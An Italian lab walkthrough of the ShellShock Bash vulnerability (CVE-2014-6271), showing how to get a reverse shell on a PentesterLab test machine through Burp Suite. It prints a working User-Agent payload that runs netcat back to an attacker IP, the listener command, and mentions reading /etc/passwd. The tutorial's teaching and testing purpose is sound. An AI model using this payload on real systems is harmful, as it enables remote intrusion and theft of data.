Sta facendo grande rumore la scoperta di una gravissima vulnerabilità nella shell più utilizzata sui sistemi
sistemi GNU (Bash, Bourne Again Shell), che affligge tutti i sistemi operativi Unix-like, come GNU/Linux, ma anche Mac OS X, che ne è un derivato.
La vulnerabilità, ribattezzata ShellShock e classificata con il codice CVE-2014-6271, ha ottenuto 10 punti su 10 (massimo impatto) dal NIST, il che fa ben comprendere il livello di attenzione che c'è intorno a questa falla, ritenuta anche più grave di Heartbleed.
Le versioni di bash vulnerabili partono dalla 1.14 (rilasciata addirittura nel 1994!) fino alla più recente, la 4.3. In sostanza, il bug consiste nella non corretta gestione da parte della shell di una variabile d'ambiente nella quale si può iniettare codice malevolo, che verrà eseguito immediatamente e senza alcun controllo. A complicare ulteriormente la faccenda, vi è il fatto che la vulnerabilità consente l'esecuzione remota di comandi su tutti i sistemi su cui è installata la shell Bash: in pratica tutti, tranne la maggior parte dei sistemi Windows.
Lo scopo di questo articolo è dimostrare che, se è possibile iniettare praticamente qualsiasi comando interpretabile da Bash in un server vulnerabile, allora è possibile ottenere una reverse shell a completa disposizione dell'attaccante.
Preparazione dell'ambiente di test
Per simulare questo micidiale attacco, abbiamo bisogno innanzitutto di un server vulnerabile: a tale scopo possiamo scaricare una macchina virtuale appositamente configurata dal sito di PentesterLab e mandarla in esecuzione, come mostrato nella figura seguente.
Per intercettare e manipolare tutto il traffico HTTP, invece, ci serviremo della nota suite Burp, scaricabile dal sito di Portswigger. Infine, abbiamo bisogno di una macchina (virtuale) su cui far girare un listener delle connessioni che di fatto "ospiterà" la reverse shell ottenuta: per questo ruolo utilizzeremo una Kali Linux. Solo per motivi pratici abbiamo fatto girare Burp sulla macchina host (il nostro pc "ospite"), ma questo non cambia la sostanza e i risultati del test.
Simulazione dell'attacco
Una volta predisposto l'ambiente di test, possiamo finalmente lanciare l'attacco vero e proprio, ovviamente in ambiente controllato. Come prima cosa, apriamo una finestra del browser (nel nostro caso Mozilla Firefox) e configuriamolo per far transitare tutto il traffico attraverso il nostro proxy Burp. Per fare ciò basta accedere al menu Strumenti -> Opzioni -> Rete -> Impostazioni e selezionare il radio button Configurazione manuale dei proxy, impostando l'indirizzo IP 127.0.0.1 (localhost) e la porta 8080.
Per sicurezza, andiamo a verificare che su Burp giri effettivamente il proxy, per cui clicchiamo sulla tab Proxy e poi sulla tab Options e controlliamo che sia attivo (Running), come mostra la figura seguente.
A questo punto, apriamo il browser e puntiamolo all'indirizzo IP della macchina virtuale vulnerabile che, nel nostro caso è la 10.100.255.78. Nella finestra del browser apparirà una pagina in cui è riportata a caratteri cubitali la vulnerabilità (CVE-2014-6271), il tempo di uptime e la versione del kernel in esecuzione sulla macchina stessa che, come mostrato in figura 4, è "Linux vulnerable 3.14.1-pentesterlab #1 SMP".
Passiamo ora a dare un'occhiata a Burp Suite per vedere se ha intercettato la nostra http-request verso l'IP vulnerabile. Cliccando sulla tab Proxy e poi su HTTP History, notiamo che Burp ha catturato la nostra richiesta, effettuata utilizzando il metodo GET verso http://10.100.255.78. Clicchiamo quindi con il tasto destro sulla riga di interesse e selezioniamo dal menu contestuale la voce Send to Repeater:
In questo modo, stiamo inviando al modulo Repeater di Burp tutti i parametri facenti parte della nostra http-request (Host, User-Agent, Referer, ecc...), in modo tale da poterli modificare al passo successivo. La figura 6 mostra il risultato di questa operazione, ed in particolare il parametro User-Agent, nel quale andremo ad iniettare il codice "malevolo".
Prima di continuare con l'attacco, però, dobbiamo lanciare un listener sulla nostra macchina attaccante (Kali Linux) per poter ricevere il traffico di ritorno generato dalla nuova richiesta HTTP "malevola" che stiamo costruendo tramite Burp. Per fare ciò, utilizzeremo Netcat (già incluso in Kali), lanciando il seguente comando:
[code]root@kali:~# nc -lp 4444 -vvv[/code]
L'opzione -lp pone Netcat in "listen mode", per accettare tutte le connessioni in arrivo (-l) sulla porta (p) 4444 in ascolto. L'opzione -vvv (VeryVeryVerbose), serve ad avere il massimo livello di "verbosity", ovvero di messaggi sullo schermo. Una volta lanciato il comando, Netcat si metterà in ascolto di qualsiasi connessione ("any") sulla porta 4444.
Adesso andiamo a sferrare l'attacco vero e proprio, modificando la stringa relativa allo User-Agent. Per fare ciò, clicchiamo nuovamente sulla tab Repeater di Burp e poi sulla tab Raw e andiamo ad editare il campo User-Agent:, cancellandone per intero il contenuto ed inserendo la seguente stringa:
[code]User-Agent: () { :; }; /bin/bash -c "nc 10.100.244.81 4444 -e /bin/bash -i"[/code]
Cerchiamo di analizzare questa stringa. Come abbiamo accennato in precedenza, la vulnerabilità si basa sul fatto che possiamo far eseguire qualsiasi comando (o catena di comandi) interpretabile dalla shell, "semplicemente" inserendolo in una variabile di ambiente. Questo perchè Bash non interpreta semplicemente comandi, ma anche un intero linguaggio di scripting, e di conseguenza ci consente di definire funzioni. Il bug vero e proprio risiede nel fatto che Bash continua ad eseguire i comandi di shell anche dopo la definizione della funzione.
Definire una funzione nel linguaggio di shell interpretato da Bash è molto semplice. Per capirlo con un esempio, creiamone una che chiameremo Ciao, e che avrà il solo scopo di stampare la stringa "Ciao". La sintassi per questo fine è la seguente:
[code]Ciao() { echo "Ciao"; }[/code]
Noi, però, non abbiamo avuto bisogno di questo tipo di funzione per effettuare l'attacco. E' stato, infatti, sufficiente creare una funzione vuota la cui sintassi è:
[code]() { :; };[/code]
Dopo il punto e virgola, che indica la fine della definizione della funzione, parte un altro comando con cui viene invocata una shell (/bin/bash -c). In questa shell viene eseguito il comando netcat, che a sua volta apre una connessione verso l'IP 10.100.244.81 porta 4444 ed esegue un file (-e) che non è altro che una nuova shell in modalità interattiva (-i). Il risultato è che sulla nostra macchina Kali otterremo proprio tale shell, detta appunto reverse shell. Andiamo quindi ad editare il campo User-Agent, come mostrato in figura 8 e clicchiamo sul pulsante Go in alto a sinistra.
Torniamo ora nella nostra macchina Kali e, dopo qualche istante, vedremo apparire il messaggio di avvenuta connessione tra l'host avente indirizzo 10.100.255.78 (l'host vulnerabile) e la nostra macchina attacker (10.100.244.81). Il risultato è visibile nella figura seguente.
A questo punto abbiamo ottenuto la nostra reverse shell e possiamo fare qualsiasi cosa sulla macchina "posseduta"! Per esempio, possiamo lanciare qualche comando "dimostrativo": come si vede in figura 10, avendo avuto accesso alla shell remota, abbiamo ottenuto i permessi dell'utente "pentesterlab" sulla macchina avente come kernel esattamente quello che avevamo visualizzato nella finestra del browser (Linux version 3.14.1-pentesterlab...). A questo punto diventa semplice accedere al contenuto del file delle password di tutti gli utenti (/etc/passwd).
Conclusioni
La conclusione è ovvia quanto significativa. Quella descritta è una vulnerabilità estremamente grave, ma è anche vero che i servizi, per essere attaccati, devono essere esposti dal server. Ad esempio, nel nostro caso abbiamo attaccato gli script CGI perchè erano esposti. In un articolo di RedHat è elencata una lista (non esaustiva) di servizi attaccabili. In ogni caso, mai come in questo caso è fondamentale effettuare l'upgrade ad una versione di Bash non vulnerabile.
